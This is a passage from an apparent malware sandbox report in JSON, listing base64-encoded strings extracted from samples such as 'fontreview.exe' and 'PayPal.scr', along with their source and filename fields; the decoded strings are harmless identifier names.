brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Y2JCdWZTaXpl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2NoQnVmU2l6ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2UjWn1RPikp","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"Q0VJUEVuYWJsZQ==","type":"Unicode","source":"Runtime Data","process":"PayPal.scr","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Y2ZnM19jb3VudGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2ZnM2NvdW50ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2ZnX2NvdW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2ZnX2NvdW50ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2ZnX29mZnNldA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2ZnX3NpemU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2ZnX3N0YXJ0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2Znb2Zmc2V0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y0ZpbHRlcnM=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"$65","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlQWR2aXNvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlQWxnbw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlQW5ub3RhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlQXR0cg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlQXR0cmlidXRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlQXV0aGVudGljYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlQmFzZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlQnJpZGdl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlQ2FuZGlkYXRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlQ2xhc3M=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlQ2xpZW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlQ29kZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlQ29sbGVjdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlQ29tcG9zZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlQ29uZmln","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlQ29uZmlndXJhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlQ29ubmVjdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlQ29uc3VtZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlQ29udGFpbmVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlQ29udGV4dA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlQ3JlYXRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlQ3VzdG9tZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRGF0YWJhc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRGVjb3JhdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRGlzcGF0Y2hlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRGlzcGxheVNldHRpbmdzRXg=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRXJyb3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRXZlbnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRXhjZXB0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRXhwb3J0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRXhwcmVzc2lvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFjYWRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFjdG9yeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZUFjY291bnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZUFkYXB0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZUFkdmlzb3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZUFubm90YXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZUF0dHI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZUF0dHJpYnV0ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZUF1dGhlbnRpY2F0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZUJyb2FkY2FzdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZUNhbGxiYWNr","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZUNhbmRpZGF0ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZUNsaWVudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZUNvbGxlY3Rpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZUNvbXBhcmF0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZUNvbXBvc2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZUNvbmZpZ3VyYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZUNvbm5lY3Rpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZUNvbnN1bWVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZUNvbnRhaW5lcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZUNvbnRleHQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZUNyZWF0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZUN1c3RvbWVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZURhdGFiYXNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZURlZmluaXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZURlc2NyaXB0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZURpYw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZURpc3BhdGNoZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZUVycm9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZUV2ZW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZUV4cHJlc3Npb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZUZhY2FkZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZUZhY3Rvcnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZUZpZWxk","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZUZpbHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZUdsb2JhbA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZUhlbHBlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZUlkZW50aWZpZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZUltcG9ydGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZUluZm8=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZUluc3RhbmNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZUludGVyY2VwdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZUludGVycHJldGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZUludm9jYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZUlzc3Vlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZUl0ZXJhdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZU1hcA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZU1hcHBlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZU1lc3NhZ2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZU1ldGhvZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZU1vY2s=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZU9yZGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVBhZ2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVBhcmFt","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVBhcmFtZXRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVBhcnNlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVBvbGljeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVBvb2w=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVByZWRpY2F0ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVByaW50ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVByb2NjZXNvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVByb2Nlc3M=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVByb2R1Y2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVByb2R1Y3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVByb3h5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVF1ZXVl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVJlYWRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVJlY29yZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVJlZg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVJlZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVJlZ2lzdHJ5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVJlcG9uc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVJlcG9zaXRvcnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVJlcXVlc3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVJlc29sdmVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVJ1bGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVJ1bGVz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVNjaGVtYQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVNlcmlhbGl6ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVNlcnZlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVNldHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVNpbmdsZXRvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVN0YXRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVN0YXR1cw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVN0dWI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVRhZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVRhc2s=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVRlbXBsYXRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVRlc3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVRlc3Rz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVRocmVhZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVRva2Vu","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVRva2VuaXplcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVV0aWxz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVZhbA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVZhbHVl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVZpc2l0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVdhdGNoZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVdvcmtlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVdyYXBwZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmFpbHVyZVdyaXRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmllbGQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRmlsdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlR2V0dGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlR2xvYmFs","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2hhbmdlR3JvdXA=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlSGVscGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlSWRlbnRpZmllcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlSW1wb3J0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlSW5kZXhlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlSW5mbw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlSW5pdGlhbGl6ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlSW50ZXJjZXB0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlSW50ZXJwcmV0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlSW52b2NhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlSXNzdWVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlSXRlbQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlSXRlcmF0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlTGlzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlTGlzdGVuZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlTWFuYWdlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlTWFwcGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlTWFwcGluZw==","type":"Ansi","source":"Dropped 